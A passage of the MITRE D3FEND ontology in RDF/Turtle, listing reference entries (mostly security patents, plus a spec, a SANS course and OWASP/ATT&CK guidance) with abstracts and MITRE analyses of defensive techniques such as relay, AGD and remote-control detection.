    d3f:kb-mitre-analysis """This patent describes a health monitor deployed on an endpoint that uses a heartbeat to periodically communicate status to a gateway's remote health monitor. The endpoint health monitor issues a heartbeat for satisfactory status of the endpoint using factors such as:

* checking the status of individual software items executing on the endpoint
* checking that antivirus and other security software is up to date (e. g., with current virus definition files) and running correctly
* checking the integrity of cryptographic key stores
* checking other hardware or software components of the endpoint as necessary or helpful for health monitoring

A disappearance of the heartbeat from the endpoint may indicate that the endpoint has been compromised.""" ;
    d3f:kb-organization "Sophos Ltd" ;
    d3f:kb-reference-of d3f:EndpointHealthBeacon ;
    d3f:kb-reference-title "Intrusion detection using a heartbeat" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-IsolationOfApplicationsWithinAVirtualMachine_Bromium,Inc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Isolation of applications within a virtual machine - Bromium, Inc." ;
    d3f:has-link "https://patents.google.com/patent/US9921860B1"^^xsd:anyURI ;
    d3f:kb-abstract "Approaches for launching an application within a virtual machine. In response to receiving a request to launch an application, a device instantiates, without human intervention and based on a policy, a virtual machine in which the application is to be launched. The policy determines which resources of a device, such as a mobile device or computer system, are accessible to the virtual machine. The policy may, but need not, determine whether the virtual machine has access to a type of resource which obligates the user of the device to make a monetary payment for the user of the resource." ;
    d3f:kb-author "Gaurav Banga, Sergei Vorobiev, Deepak Khajuria, Vikram Kapoor, Ian Pratt, Simon Crosby, Adrian Taylor" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Bromium, Inc." ;
    d3f:kb-reference-of d3f:Hardware-basedProcessIsolation ;
    d3f:kb-reference-title "Isolation of applications within a virtual machine" .

d3f:Reference-LUKS1On-DiskFormatSpecificationVersion1.2.3 a d3f:SpecificationReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - LUKS1 On-Disk Format SpecificationVersion 1.2.3" ;
    d3f:has-link "https://mirrors.edge.kernel.org/pub/linux/utils/cryptsetup/LUKS_docs/on-disk-format.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "LUKS is short for \"Linux Unified Key Setup\". It has initially been developed to remedy the unpleasantness a user experienced that arise from deriving the encryption setup from changing user space, and forgotten command line arguments. The result of this changes are an unaccessible encryption storage. The reason for this to happen was, a unstandardised way to read, process and set up encryption keys, and if the user was unlucky, he upgraded to an incompatible version of user space tools that needed a good deal of knowledge to use with old encryption volumes." ;
    d3f:kb-author "Clemens Fruhwirth" ;
    d3f:kb-reference-of d3f:DiskEncryption ;
    d3f:kb-reference-title "LUKS1 On-Disk Format SpecificationVersion 1.2.3" .

d3f:Reference-LeverageSecurityFrameworksLibraries_OWASP a d3f:GuidelineReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Leverage Security Frameworks and Libraries - OWASP" ;
    d3f:has-link "https://top10proactive.owasp.org/archive/2018/c2-leverage-security-frameworks-libraries/"^^xsd:anyURI ;
    d3f:kb-organization "OWASP" ;
    d3f:kb-reference-of d3f:TrustedLibrary ;
    d3f:kb-reference-title "Leverage Security Frameworks and Libraries" .

d3f:Reference-MGT516ManagingSecurityVulnerabilitiesEnterpriseAndCloud a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - MGT516: Managing Security Vulnerabilities: Enterprise and Cloud" ;
    d3f:has-link "https://www.sans.org/cyber-security-courses/managing-enterprise-cloud-security-vulnerabilities/"^^xsd:anyURI ;
    d3f:kb-abstract "Vulnerability, patch, and configuration management are not new security topics. In fact, they are some of the oldest security functions. Yet, we still struggle to manage these capabilities effectively. The quantity of outstanding vulnerabilities for most large organizations is overwhelming, and all organizations struggle to keep up with the never-ending onslaught of new vulnerabilities in their infrastructure and applications. When you add in the cloud and the increasing speed with which all organizations must deliver systems, applications, and features to both their internal and external customers, security may seem unachievable. This course will show you the most effective ways to mature your vulnerability management program and move from identifying vulnerabilities to successfully treating them. 16 Cyber42 and lab exercises" ;
    d3f:kb-author "Jonathan Risto and David Hazar" ;
    d3f:kb-organization "SANS" ;
    d3f:kb-reference-of d3f:OperationalRiskAssessment ;
    d3f:kb-reference-title "MGT516: Managing Security Vulnerabilities: Enterprise and Cloud" .

d3f:Reference-MITREATTACKAuthorizationEnforcement a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - MITRE ATT&CK - Authorization Enforcement" ;
    d3f:has-link "https://attack.mitre.org/mitigations/M0800/"^^xsd:anyURI ;
    d3f:kb-abstract "The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS. For example, IEC 62351 provides examples of roles used to support common system operations within the electric power sector [1], while IEEE 1686 defines standard permissions for users of IEDs." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-reference-of d3f:OperatingModeRestriction ;
    d3f:kb-reference-title "MITRE ATT&CK - Authorization Enforcement" .

d3f:Reference-MITREATTACKPasswordPolicies a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - MITRE ATT&CK - Password Policies" ;
    d3f:has-link "https://attack.mitre.org/mitigations/M0927/"^^xsd:anyURI ;
    d3f:kb-abstract "Set and enforce secure password policies for accounts.." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-reference-of d3f:ChangeDefaultPassword ;
    d3f:kb-reference-title "MITRE ATT&CK - Password Policies" .

d3f:Reference-MaliciousRelayDetectionOnNetworks_VECTRANETWORKSInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Malicious relay detection on networks - VECTRA NETWORKS Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20150264083A1"^^xsd:anyURI ;
    d3f:kb-abstract "A system and method for detecting malicious relay communications is disclosed. Network communications can be received and analyzed using such network components as a network switch. The received traffic can be parsed into sessions. Relay metadata can be extracted from the sessions and further be used to categorize the sessions into one or more types of relay metadata behaviors. Once a significant amount of sessions are detected an alarm may be triggered and/or alarm data may be generated for analysis by network security administrators." ;
    d3f:kb-author "Ryan James PRENGER; Nicolas BEAUCHESNE; Karl Matthew LYNN" ;
    d3f:kb-mitre-analysis "This patent describes a technique for detecting relay networks, i.e. an attacker outside of the organization's network takes control of an internal host to be used as a source of attacks against other internal targets or exfiltrate data out of the organization. In this defensive technique, metadata from collected network packet captures is extracted to categorize network sessions using known relay behaviors. Information such as the number of bytes sent to and from a potential internal relay host, time of session initiation, packet contents, packet size, flow direction, and packet arrival time statistics are used to categorize the sessions and identify relay behavior. This technique assumes that relay network connections' inter-packet arrival times exhibit a high degree of variance in comparison to standard client-to-server connections. If enough evidence of relay behavior is gathered about a given internal host, the host is identified as suspicious and an alert is generated." ;
    d3f:kb-organization "VECTRA NETWORKS Inc" ;
    d3f:kb-reference-of d3f:RelayPatternAnalysis ;
    d3f:kb-reference-title "Malicious relay detection on networks" .

d3f:Reference-MalwareAnalysisSystem_PaloAltoNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Malware analysis system - Palo Alto Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20150319136A1"^^xsd:anyURI ;
    d3f:kb-abstract "In some embodiments, a malware analysis system includes receiving a potential malware sample from a firewall; analyzing the potential malware sample using a virtual machine to determine if the potential malware sample is malware; and automatically generating a signature if the potential malware sample is determined to be malware. In some embodiments, the potential malware sample does not match a preexisting signature, and the malware is a zero-day attack." ;
    d3f:kb-author "Huagang Xie; Xinran Wang; Jiangxia Liu" ;
    d3f:kb-mitre-analysis "This patent describes a VM sandbox environment that uses heuristic based analysis techniques performed in real-time during a file transfer to determine if the file is malicious. A new signature can then be generated and distributed to automatically block future file transfer requests to download the malicious file." ;
    d3f:kb-organization "Palo Alto Networks Inc" ;
    d3f:kb-reference-of d3f:DynamicAnalysis ;
    d3f:kb-reference-title "Malware analysis system" .

d3f:Reference-MalwareDetectionInEventLoops_CrowdstrikeInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Malware detection in event loops - Crowdstrike Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20190205530A1"^^xsd:anyURI ;
    d3f:kb-abstract "Example techniques locate or identify malware based on events from or at monitored computing devices. A control unit can detect a sequence of events of various types. The control unit can locate a loop within the sequence of events based at least in part on relative frequencies of the event types. The control unit can determine a distribution of event types of the events within the loop, and determining that software running the sequence is associated with malware based at least in part on the distribution of event types within the loop. In some examples, the control unit can locate a point of commonality among a plurality of stack traces associated with respective events within the loop. The control unit can determine a malware module comprising the point of commonality." ;
    d3f:kb-author "Daniel W. Brown" ;
    d3f:kb-mitre-analysis "The patent describes determining if a sequence of events associated with a process are associated with malware. Based on the relative frequency of events, a loop within a sequence of events is located and a distribution of the events within the loop is determined. The distribution of events is then compared against a catalog of distributions to determine if it is associated with malware." ;
    d3f:kb-organization "Crowdstrike Inc" ;
    d3f:kb-reference-of d3f:SystemCallAnalysis ;
    d3f:kb-reference-title "Malware detection in event loops" .

d3f:Reference-MethodAndApparatusForDetectingAnomaliesOfAnInfrastructureInANetwork a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and apparatus for detecting anomalies of an infrastructure in a network" ;
    d3f:has-link "https://patents.google.com/patent/AU2023200991A1/"^^xsd:anyURI ;
    d3f:kb-abstract "The present invention relates to a method and to an apparatus for detecting anomalies of an infrastructure in a network comprising analysing a data packet (PD) exchanged in a network and identifying the network protocol and all the fields, through a network analyser (101), defining an identified protocol and identified fields of said data packet (PD), and, by means of computerized data processing means (102), extracting identification fields, to identify a device of the infrastructure in the network, matching the identified device with a plurality of predefined standard devices in a predefined devices knowledge database, to recognise a matching device, retrieving one or more allowed fields and one or more allowed protocols of the matching device from the predefined devices knowledge database, comparing the allowed fields and the allowed protocols respectively with the identified fields and the identified protocol, defining at least one critical state of the infrastructure when the identified fields differ from the allowed fields or when the identified protocol differ from the allowed protocols and signalling an anomaly of the infrastructure when at least one of the critical states is identified." ;
    d3f:kb-organization "Nozomi Networks" ;
    d3f:kb-reference-of d3f:ApplicationProtocolCommandAnalysis ;
    d3f:kb-reference-title "Method and apparatus for detecting anomalies of an infrastructure in a network" .

d3f:Reference-MethodAndApparatusForDetectingMaliciousWebsites_EndgameInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and Apparatus for Detecting Malicious Websites - Endgame Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20140331319A1"^^xsd:anyURI ;
    d3f:kb-abstract "A method and apparatus for detecting malicious websites is disclosed." ;
    d3f:kb-author "John Burnet MUNRO, IV; Jason Aaron Trost; Zachary Daniel HANIF" ;
    d3f:kb-mitre-analysis """This patent describes a domain classification engine on the host computer that analyzes URLs clicked by a user or entered into a web browser to visit a website. URL analysis is done by using a combination of techniques:

* Feature extraction: A URL is analyzed against features associated with suspicious URLs such as % of longest consecutive digits in a subdomain, % of longest repeated characters in a subdomain, % of vowels in a high level domain.

* Markov analysis: The probability of a digit occurring in normal language given the preceding two digits is determined. For example, if the received URL is google.com, the probability of a 'g' occurring at the beginning of a word, the probability of an 'o' occurring after a "g, the probability of an "o' occurring after a 'g' and "o, and so forth will be determined. The probability of each digit is then multiplied to get a probability for the whole domain name. Probabilities are determined based on a database of existing usage, such as a dictionary, or a list of known good domain names

* Domain names are compared against an existing dataset of known unauthorized domain names.

A rating is developed based on the results of these techniques, and if the rating is over a set threshold, an action is taken such as blocking access or generating an alert.""" ;
    d3f:kb-organization "Endgame Inc" ;
    d3f:kb-reference-of d3f:URLAnalysis ;
    d3f:kb-reference-title "Method and Apparatus for Detecting Malicious Websites" .

d3f:Reference-MethodAndApparatusForIncreasingTheSpeedAtWhichComputerVirusesAreDetected_McAfeeLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and apparatus for increasing the speed at which computer viruses are detected - McAfee LLC" ;
    d3f:has-link "https://patents.google.com/patent/US5502815A"^^xsd:anyURI ;
    d3f:kb-abstract "The method and apparatus for increasing the speed at which computer viruses are detected stores initial state information concerning the file or volume which is being examined for a virus. This information is stored in a cache in a non-volatile storage medium and when files are subsequently scanned for viruses, the current state information is compared to the initial state information stored in the cache. If the initial state information differs from the current state information then the file or volume is scanned for viruses which change the state information of the file or volume. If the initial state information and current state information is the same then the file or volume is scanned for a subset of viruses which do not change the state information." ;
    d3f:kb-author "Paul D. Cozza" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "McAfee LLC" ;
    d3f:kb-reference-of d3f:ExecutableDenylisting ;
    d3f:kb-reference-title "Method and apparatus for increasing the speed at which computer viruses are detected" .

<http://d3fend.mitre.org/ontologies/d3fend.owl#Reference-MethodAndApparatusForUtilizingATokenForResourceAccess_RsaSecurityInc.> a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and apparatus for utilizing a token for resource access - Rsa Security Inc." ;
    d3f:has-link "https://patents.google.com/patent/US5657388A/en"^^xsd:anyURI ;
    d3f:kb-abstract "A method and apparatus for utilizing a token which is preferably a \"dumb token\" to provide secure access by authorized users to a selected resource. The token stores a secret user code in machine readable form, which code is read by a token processor. The token processor also receives a time-varying value and an algorithm, both of which may be stored or generated at either the token or the token processor and preferably a secret personal identification code which may be inputted at the token, but is preferably inputted at the token processor. The secret user code, time-varying value and secret personal identification code are then algorithmically combined by the algorithm, preferably in the token processor, to generate a one-time nonpredictable code which is transmitted to a host processor. The host processor utilizes the received one-time nonpredictable code to determine if the user is authorized access to the resource and grants access to the resource if the user is determined to be authorized. The system may be modified to operate in query/response mode. The token processor may be any of a variety of available portable remote processors or may be a device such as a telephone which is equipped with card or other token reader and with processing capability." ;
    d3f:kb-author "Kenneth P. Weiss" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Rsa Security Inc." ;
    d3f:kb-reference-of d3f:Multi-factorAuthentication ;
    d3f:kb-reference-title "Method and apparatus for utilizing a token for resource access" .

d3f:Reference-MethodAndSystemForControllingCommunicationPorts a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for controlling communication ports" ;
    d3f:has-link "https://patents.google.com/patent/US8566924"^^xsd:anyURI ;
    d3f:kb-abstract "A method for limiting devices and controlling the applications executed from USB ports on personal computers (PCs)." ;
    d3f:kb-author "Steven V Bacastow" ;
    d3f:kb-organization "OL Security LLC" ;
    d3f:kb-reference-of d3f:IOPortRestriction ;
    d3f:kb-reference-title "Method and system for controlling communication ports" .

d3f:Reference-MethodAndSystemForDetectingAlgorithm-generatedDomains_VECTRANETWORKSInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for detecting algorithm-generated domains - VECTRA NETWORKS Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20150264070A1"^^xsd:anyURI ;
    d3f:kb-abstract "A method and system for detecting algorithm-generated domains (AGDs) is disclosed wherein domain names requested by an internal host are categorized or classified using curated data sets, active services (e.g. Internet services), and certainty scores to match domain names to domain names or IP addresses used by command and control servers." ;
    d3f:kb-author "James Patrick HARLACHER; Aditya Sood; Oskar Ibatullin" ;
    d3f:kb-mitre-analysis """This patent describes detecting algorithm generated domains (AGD). DNS requests and responses are analyzed by first checking whether the domain matches existing data sets that specify different types of AGDs with known characteristics, such as Evil Twin Domains, Sinkholed domains, sleeper cells, ghost domains, parked domains, and/or bulk-registered domains. In addition to comparing domains against known data sets, the following information is collected to perform analysis:

* IP Information: checks for information known about the IP addresses returned in the DNS response, including the number of IP addresses returned, the registered owners of the IP addresses, or different IP addresses returned for the same domain (IP fluxing)
* Domain Registration: examines the domain registration date, domain update date, domain expiration date, registrant identity, and authorized name servers associated with a specific domain name.
* Domain Popularity: provides information on the popularity of a domain name.

Based on analysis of these factors a score is developed; if the score is above a certain threshold, an alert is generated.""" ;
    d3f:kb-organization "VECTRA NETWORKS Inc" ;
    d3f:kb-reference-of d3f:DNSTrafficAnalysis ;
    d3f:kb-reference-title "Method and system for detecting algorithm-generated domains" .

d3f:Reference-MethodAndSystemForDetectingExternalControlOfCompromisedHosts_VECTRANETWORKSInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for detecting external control of compromised hosts - VECTRA NETWORKS Inc" ;
    d3f:has-link "https://patents.google.com/patent/US9407647B2/en?oq=US-9407647-B2"^^xsd:anyURI ;
    d3f:kb-abstract "A detection engine may be implemented by receiving network traffic and processing the traffic into one or more session datasets. Sessions not initiated by an internal host may be discarded. The frequency between the communication packets from the internal host to external host may be grouped or processed into rapid-exchange instances. The number of rapid-exchange instances, the time intervals between them, and/or the rhythm and directions of the initiation of the instances may be analyzed to determine that a human actor is manually controlling the external host. In some embodiments, when it is determined that only one human actor is involved, alarm data may be generated that indicates that a network intrusion involving manual remote control has occurred or is underway." ;
    d3f:kb-author "Nicolas BEAUCHESNE; Ryan James PRENGER" ;
    d3f:kb-mitre-analysis "This patent describes detecting an external attacker taking remote control of an internal host. Detection includes identifying sessions where the external host controls the internal host in the opposite direction the session was initiated. The number of rapid-exchange communication instances (i.e, communications that occur between the two hosts with little silence gap), the time intervals between them, and/or the rhythm and direction of the instances, are analyzed to determine if an external human actor is manually controlling the internal host." ;
    d3f:kb-organization "VECTRA NETWORKS Inc" ;
    d3f:kb-reference-of d3f:RemoteTerminalSessionDetection ;
    d3f:kb-reference-title "Method and system for detecting external control of compromised hosts" .

d3f:Reference-MethodAndSystemForDetectingMaliciousPayloads_VectraNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for detecting malicious payloads - Vectra Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/EP3293937A1/en?oq=EP-3293937-A1"^^xsd:anyURI ;
    d3f:kb-abstract """Disclosed is an improved method, system, and computer program product for identifying malicious payloads. The disclosed approach identifies potentially malicious payload exchanges which may be associated with payload injection or root-kit magic key usage.

Some examples of data inputs:
    Information for clients and servers, such as IP address and host information
    Payloads for both clients and servers
    Amount of data being transferred
    Duration of communications
    Length of time delay between client request and server response""" ;
    d3f:kb-author "Nicolas Beauchesne; John Steven Mancini" ;
    d3f:kb-mitre-analysis "Extraction of network flow data and using unsupervised machine learning to create a standard baseline. During the monitoring phase, abnormal network metadata will result in an alert." ;
    d3f:kb-organization "Vectra Networks Inc" ;
    d3f:kb-reference-of d3f:Client-serverPayloadProfiling ;
    d3f:kb-reference-title "Method and system for detecting malicious payloads" .

d3f:Reference-MethodAndSystemForDetectingRestrictedContentAssociatedWithRetrievedContent_SophosLtd a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for detecting restricted content associated with retrieved content - Sophos Ltd" ;
    d3f:has-link "https://patents.google.com/patent/US20160359883A1"^^xsd:anyURI ;
    d3f:kb-abstract "In embodiments of the present invention improved capabilities are described for detecting restricted content associated with retrieved content. The method and system may include receiving a client request for content, saving contextual information from the client request, presenting retrieved content in response to the client request, and presenting the contextual information from the client request, and retrieved content, to a scanning facility. The scanning facility may utilize the contextual information from the client request to aid in the detection of restricted content associated with retrieved content." ;
    d3f:kb-author "Fraser Howard; Paul Baccas; Vanja Svajcer; Benjamin John Godwood; William James McCourt" ;
    d3f:kb-mitre-analysis "This patent describes analyzing contextual information of a Uniform Resource Identifier (URI), such as source or origin of the request URI, patterns in the way the URI is delivered, and the locale of the URI. The contextual information is sent to a scanning facility which uses that information along with a blacklist of known malicious domain names, locations, patterns, etc. to block retrieved content associated with the request URI." ;
    d3f:kb-organization "Sophos Ltd" ;
    d3f:kb-reference-of d3f:URLAnalysis ;
    d3f:kb-reference-title "Method and system for detecting restricted content associated with retrieved content" .

d3f:Reference-MethodAndSystemForDetectingSuspiciousAdministrativeActivity_VectraNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for detecting suspicious administrative activity - Vectra Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20180077186A1"^^xsd:anyURI ;
    d3f:kb-abstract "Disclosed is an improved approach for identifying suspicious administrative host activity within a network. Network traffic is examined to learn the behavior of hosts within a network. This provides an effective way of determining whether or not a host is performing suspicious activity over an administrative protocol." ;
    d3f:kb-author "Nicolas Beauchesne; Kevin Song-Kai Ni" ;
    d3f:kb-mitre-analysis "Collect network traffic metadata directed at administrative services over a period of time to establish a baseline. This baseline is then used to determine suspicious activity that falls outside of the established baseline." ;
    d3f:kb-organization "Vectra Networks Inc" ;
    d3f:kb-reference-of d3f:AdministrativeNetworkActivityAnalysis ;
    d3f:kb-reference-title "Method and system for detecting suspicious administrative activity" .

d3f:Reference-MethodAndSystemForDetectingThreatsUsingMetadataVectors_VECTRANETWORKSInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for detecting threats using metadata vectors - VECTRA NETWORKS Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160191551A1"^^xsd:anyURI ;
    d3f:kb-abstract "An approach for detecting network attacks using metadata vectors may initially involve receiving network communications or packets, extracting metadata items from the packets. The metadata items describe the communications without requiring deep content inspection of the data payload or contents. The communications may be clustered into groups using the metadata items. If a cluster exceeds a threshold, an alarm may be generated." ;
    d3f:kb-author "Nicolas BEAUCHESNE; David Lopes Pegna; Karl Lynn" ;
    d3f:kb-mitre-analysis "This patent describes detecting network threats by first passively collecting network traffic and storing it for processing. Metadata from network traffic such as packet header information or information about a session (ex. time between request/responses) is extracted. After the metadata is extracted, the data is grouped into cluster maps of matching events to track how many instances of a network communication have occurred, such as five requests sent and five responses received. Threshold limits are set on the clusters to monitor them and if a cluster grows too large (ex. ten instances of requests and responses) this can correspond to unauthorized behavior. This method might detect, for example, a network attack using malicious payloads with automated scripts, in which a bot sends replicated malicious payloads to the same destination port." ;
    d3f:kb-organization "VECTRA NETWORKS Inc" ;
    d3f:kb-reference-of d3f:ProtocolMetadataAnomalyDetection ;
    d3f:kb-reference-title "Method and system for detecting threats using metadata vectors" .

d3f:Reference-MethodAndSystemForDetectingThreatsUsingPassiveClusterMapping_VectraNetworksInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for detecting threats using passive cluster mapping - Vectra Networks Inc" ;
    d3f:has-link "https://patents.google.com/patent/US20160149936A1"^^xsd:anyURI ;
    d3f:kb-abstract "An approach for detecting network threats is disclosed, that may involve receiving network traffic, plotting the network traffic in a n-dimensional feature space to form a network map, generating a client signature at least by placing new client points in the map, setting a threshold, and generating an alarm if one or more client activity points exceed the threshold. In some embodiments, the network map and the client signature are updated using sliding windows and distance calculations." ;
    d3f:kb-author "David Lopes PEGNA; Nicolas Beauchesne" ;
    d3f:kb-mitre-analysis "This patent describes detecting network threats by first passively collecting network traffic and storing it for processing. The stored network traffic data is used to map network events to create a cluster map. Events are network activity associated with clients, servers, or control modules such as a Kerberos Domain Controller (KDC); account information; services accessed by the client; or the number of times a service is accessed. Events that exceed a threshold from a center of gravity point of a cluster are identified as suspicious activity and an alert is generated." ;
    d3f:kb-organization "Vectra Networks Inc" ;
    d3f:kb-reference-of d3f:ProtocolMetadataAnomalyDetection ;
    d3f:kb-reference-title "Method and system for detecting threats using passive cluster mapping" .

d3f:Reference-MethodAndSystemForProvidingSoftwareUpdatesToLocalMachines a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for providing software updates to local machines" ;
    d3f:has-link "https://patents.google.com/patent/US10474448B2/en"^^xsd:anyURI ;
    d3f:kb-author "John Melton Reynolds" ;
    d3f:kb-organization "Sophos Ltd" ;
    d3f:kb-reference-title "Method and system for providing software updates to local machines" .

d3f:Reference-MethodAndSystemForUDPFloodAttackDetection-RioreyLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method and system for UDP flood attack detection - Riorey LLC" ;
    d3f:has-link "https://patents.google.com/patent/US8307430B1"^^xsd:anyURI ;
    d3f:kb-abstract "A system and method is provided to identify UDP attacks. A processor determines a spectral density of packet timing intervals, a natural distance between the spectral density and a uniform distribution, and a non-linear amplifier applying a non-linear amplification to the natural distance to detect a denial-of-service attack. It uses the concept of traffic statistics analysis, i.e., spectral densities of arrived-packet timing intervals, calculates the KL-distance measurement and makes decision based on the output of a non-linear Gaussian amplifier, with which one can easily adjust the amplifier via selecting different parameters of mean and variance to satisfy system requirements of false-positive and false-negative UDP attack detections." ;
    d3f:kb-author "Hongda Chen, Lijin Lu" ;
    d3f:kb-reference-of d3f:InboundSessionVolumeAnalysis ;
    d3f:kb-reference-title "Method and system for UDP flood attack detection" .

d3f:Reference-MethodForDetectingAnomaliesInTimeSeriesDataProducedByDevicesOfAnInfrastructureInANetwork a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method for detecting anomalies in time series data produced by devices of an infrastructure in a network" ;
    d3f:has-link "https://patents.google.com/patent/CA3191230A1/"^^xsd:anyURI ;
    d3f:kb-abstract "The present invention relates to a method for detecting anomalies in time series data produced by devices of an infrastructure in a network comprising, for each of the devices through computerized data processing means, retrieving a time series data for the device in the network, extracting a plurality of time series samples relating to respective time windows and having a predefined window size and a predefined stride, by sliding the time windows to overlap the time series data, supplying the time series samples as input to a Convolutional Autoencoder to define reconstructed time series values having a predefined percentile intervals, analysing the reconstructed time series values to identify anomalous behaviours of the time series data, signalling an anomaly of the device when at least one anomalous behaviour is identified." ;
    d3f:kb-organization "Nozomi Networks" ;
    d3f:kb-reference-of d3f:RemoteFirmwareUpdateMonitoring ;
    d3f:kb-reference-title "Method for detecting anomalies in time series data produced by devices of an infrastructure in a network" .

d3f:Reference-MethodUsingKernelModeAssistanceForTheDetectionAndRemovalOfThreatsWhichAreActivelyPreventingDetectionAndRemovalFromARunningSystem_SymantecCorporation a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Method using kernel mode assistance for the detection and removal of threats which are actively preventing detection and removal from a running system - Symantec Corporation" ;
    d3f:has-link "https://patents.google.com/patent/US8239947B1"^^xsd:anyURI ;
    d3f:kb-abstract "A user mode application component invokes the assistance of a kernel mode driver component to detect and/or remediate malicious code on a computer system. The user mode application may include code that detects, for example, spyware and computer viruses, from user mode and when appropriate takes protective action when malicious code is detected. In one aspect, when the user mode application is unable to perform a selected operation in attempting to detect and/or take protective action, the user mode application invokes a kernel mode driver for assistance. The kernel mode driver assists user mode application in detecting malicious code and/or taking protective action by enabling or otherwise performing a selected operation for the user mode application." ;
    d3f:kb-author "Adam Glick, Patrick Gardner, Pieter Viljoen" ;
    d3f:kb-mitre-analysis "This patent describes detecting registry changes using a prohibited change heuristic or a database of prohibited functions/function parameters." ;
    d3f:kb-organization "Symantec Corporation" ;
    d3f:kb-reference-of d3f:SystemDaemonMonitoring ;
    d3f:kb-reference-title "Method using kernel mode assistance for the detection and removal of threats which are actively preventing detection and removal from a running system" .

d3f:Reference-MissionDependencyModelingForCyberSituationalAwareness a d3f:AcademicPaperReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Mission Dependency Modeling for Cyber Situational Awareness" ;
    d3f:has-link "https://csis.gmu.edu/noel/pubs/2016_NATO_IST_148.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "This paper describes a hierarchical graph-based model that captures mission dependencies at various levels of abstraction, showing interdependencies among mission objectives, tasks, information, and cyber assets. For this work, we employ established tools within a structured methodology for cyber resiliency analysis. Our model is focused on a strategic-level military scenario defined in a formal Request for Information (RFI) to industry and research partners by the NATO Multinational Cyber Defense Capability Development (MN CD2) Work Package 2 (WP2). We enhance this scenario with additional mission and operational context, and then build a mission dependency model for the enhanced scenario. It is anticipated that our mission dependency model will be part of an upcoming demonstration of cyber defense situational awareness capabilities in a NATO Communications and Information (NCI) Agency test environment, integrated with data sources that represent the operational military environment." ;
    d3f:kb-author "William Heinbockel, Steven Noel, James Curbo" ;
    d3f:kb-organization "JHU APL" ;
    d3f:kb-reference-of d3f:OperationalDependencyMapping ;
    d3f:kb-reference-title "Mission Dependency Modeling for Cyber Situational Awareness" .

d3f:Reference-MockAttackCybersecurityTrainingSystemAndMethods_WOMBATSECURITYTECHNOLOGIESInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Mock attack cybersecurity training system and methods - WOMBAT SECURITY TECHNOLOGIES Inc" ;
    d3f:has-link "https://patents.google.com/patent/US9558677B2/"^^xsd:anyURI ;
    d3f:kb-abstract "A training system senses a user action that may expose the user to a threat, such as a cybersecurity threat. The user action may be in response to a mock attack delivered via a messaging service, a wireless communication service, a fake malware application or another device, service, system or mechanism. The system selects a training action from a collection of available training actions and causes the training action to be delivered to the user." ;
    d3f:kb-author "Norman Sadeh-Koniecpol, Kurt Wescoe, Jason Brubaker, Jason Hong" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "WOMBAT SECURITY TECHNOLOGIES Inc" ;
    d3f:kb-reference-of d3f:DecoyPublicRelease ;
    d3f:kb-reference-title "Mock attack cybersecurity training system and methods" .

d3f:Reference-ModelingUserAccessToComputerResources_DaedalusGroupLLC a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Modeling user access to computer resources - Daedalus Group LLC (formerly IBM)" ;
    d3f:has-link "https://patents.google.com/patent/US8214364B2"^^xsd:anyURI ;
    d3f:kb-abstract "Embodiments of the invention provide a method for detecting changes in behavior of authorized users of computer resources and reporting the detected changes to the relevant individuals. The method includes evaluating actions performed by each user against user behavioral models and business rules. As a result of the analysis, a subset of users may be identified and reported as having unusual or suspicious behavior. In response, the management may provide feedback indicating that the user behavior is due to the normal expected business needs or that the behavior warrants further review. The management feedback is available for use by machine learning algorithms to improve the analysis of user actions over time. Consequently, investigation of user actions regarding computer resources is facilitated and data loss is prevented more efficiently relative to the prior art approaches with only minimal disruption to the ongoing business processes." ;
